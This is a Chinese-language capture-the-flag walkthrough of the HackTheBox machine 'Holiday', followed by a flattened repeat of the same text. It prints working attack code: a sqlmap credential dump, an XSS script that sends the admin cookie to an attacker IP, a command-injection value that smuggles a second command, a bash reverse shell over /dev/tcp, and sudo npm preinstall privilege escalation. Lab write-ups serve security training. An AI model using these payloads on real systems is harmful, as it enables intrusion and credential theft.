HackTheBox-Holiday
字数 1166 2025-08-24 16:48:15

HackTheBox靶机"Holiday"渗透测试教学文档

1. 信息搜集阶段

1.1 初始扫描

使用nmap进行初始扫描:

nmap -Pn -sV -sC -A -oN nmap.txt 10.10.10.25

扫描结果:

  • 开放端口:
    • 22/tcp: OpenSSH 7.2p2 (Ubuntu Linux)
    • 8000/tcp: Node.js Express框架
  • 操作系统:Linux

1.2 Web服务枚举

发现以下关键路径:

  • /login - 登录页面
  • /admin - 重定向到登录页面

2. 漏洞发现与利用

2.1 SQL注入漏洞

发现过程

  • 在登录表单的用户名后添加双引号(")导致报错
  • 使用sqlmap确认漏洞存在

利用方法

python27 sqlmap.py -r 1.txt --level=5 --risk=3 --threads=5

发现的数据

  • 数据库类型:SQLite
  • 关键表:
    • bookings
    • notes
    • sessions
    • sqlite_sequence
    • users

获取凭据

python27 sqlmap.py -r 1.txt --level=5 --risk=3 --threads=5 -T users --dump
  • 用户:RickA
  • 密码哈希:fdc8cd4cff2c19e0d1022e78481ddf36 (MD5)
  • 解密后得到明文密码

2.2 存储型XSS漏洞

发现过程

  • 登录后进入订单管理系统
  • 订单详情页有"添加note"功能
  • 提示"提交的留言将在一分钟之内被管理员审核"

绕过过滤

  • 原始XSS尝试被过滤:<script>被编码
  • 使用替代方案:
<script>eval(String.fromCharCode(100,111,99,...));</script>">

利用步骤

  1. 准备恶意JavaScript文件(yyj.js):
window.addEventListener('DOMContentLoaded', function(e) {
  window.location = "http://10.10.14.2:81/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})
  1. 启动HTTP服务:
python -m http.server 80
  1. 监听81端口获取cookie:
nc -lnvp 81

2.3 命令注入漏洞

发现过程

  • 使用获取的管理员cookie访问/admin
  • 发现"导出订单"功能
  • 测试发现表名存在白名单限制

绕过限制

  • 使用URL编码的&拼接命令
  • 示例:
/admin/export?table=users%26id

利用步骤

  1. 准备反弹shell脚本(rev):
#!/bin/bash
bash -i >& /dev/tcp/10.0.14.2/2333 0>&1
  1. 启动监听:
nc -lvp 2333
  1. 执行命令注入:
/admin/export?table=b%26bash+rev

3. 权限提升

3.1 发现npm提权机会

检查sudo权限:

sudo -l

输出:

User algernon may run the following commands on holiday:
  (ALL) NOPASSWD: /usr/bin/npm i *

3.2 利用npm preinstall脚本

  1. 创建恶意package.json:
{
  "name": "root_please",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "/bin/bash"
  }
}
  1. 执行提权:
sudo npm i yyj/ --unsafe

4. 关键知识点总结

  1. SQL注入

    • 使用sqlmap时可能需要调整level和risk参数
    • SQLite数据库注入技巧
  2. XSS绕过

    • 使用String.fromCharCode编码绕过过滤
    • 利用img标签的畸形属性执行脚本
  3. 命令注入

    • 白名单绕过技巧
    • 使用URL编码的特殊字符拼接命令
    • 十进制/十六进制IP地址表示法
  4. npm提权

    • preinstall脚本的执行机制
    • --unsafe参数的作用

5. 参考资源

  1. XSS绕过技术:
    OWASP XSS Filter Evasion Cheat Sheet

  2. 反弹shell命令:
    PentestMonkey Reverse Shell Cheat Sheet

  3. IP地址转换工具:
    Browserling IP to Decimal Converter

HackTheBox靶机"Holiday"渗透测试教学文档 1. 信息搜集阶段 1.1 初始扫描 使用nmap进行初始扫描: 扫描结果: 开放端口: 22/tcp: OpenSSH 7.2p2 (Ubuntu Linux) 8000/tcp: Node.js Express框架 操作系统:Linux 1.2 Web服务枚举 发现以下关键路径: /login - 登录页面 /admin - 重定向到登录页面 2. 漏洞发现与利用 2.1 SQL注入漏洞 发现过程 : 在登录表单的用户名后添加双引号( " )导致报错 使用sqlmap确认漏洞存在 利用方法 : 发现的数据 : 数据库类型:SQLite 关键表: bookings notes sessions sqlite_ sequence users 获取凭据 : 用户:RickA 密码哈希:fdc8cd4cff2c19e0d1022e78481ddf36 (MD5) 解密后得到明文密码 2.2 存储型XSS漏洞 发现过程 : 登录后进入订单管理系统 订单详情页有"添加note"功能 提示"提交的留言将在一分钟之内被管理员审核" 绕过过滤 : 原始XSS尝试被过滤: <script> 被编码 使用替代方案: 利用步骤 : 准备恶意JavaScript文件(yyj.js): 启动HTTP服务: 监听81端口获取cookie: 2.3 命令注入漏洞 发现过程 : 使用获取的管理员cookie访问/admin 发现"导出订单"功能 测试发现表名存在白名单限制 绕过限制 : 使用URL编码的 & 拼接命令 示例: 利用步骤 : 准备反弹shell脚本(rev): 启动监听: 执行命令注入: 3. 权限提升 3.1 发现npm提权机会 检查sudo权限: 输出: 3.2 利用npm preinstall脚本 创建恶意package.json: 执行提权: 4. 关键知识点总结 SQL注入 : 使用sqlmap时可能需要调整level和risk参数 SQLite数据库注入技巧 XSS绕过 : 使用String.fromCharCode编码绕过过滤 利用img标签的畸形属性执行脚本 命令注入 : 白名单绕过技巧 使用URL编码的特殊字符拼接命令 十进制/十六进制IP地址表示法 npm提权 : preinstall脚本的执行机制 --unsafe参数的作用 5. 参考资源 XSS绕过技术: OWASP XSS Filter Evasion Cheat Sheet 反弹shell命令: PentestMonkey Reverse Shell Cheat Sheet IP地址转换工具: Browserling IP to Decimal Converter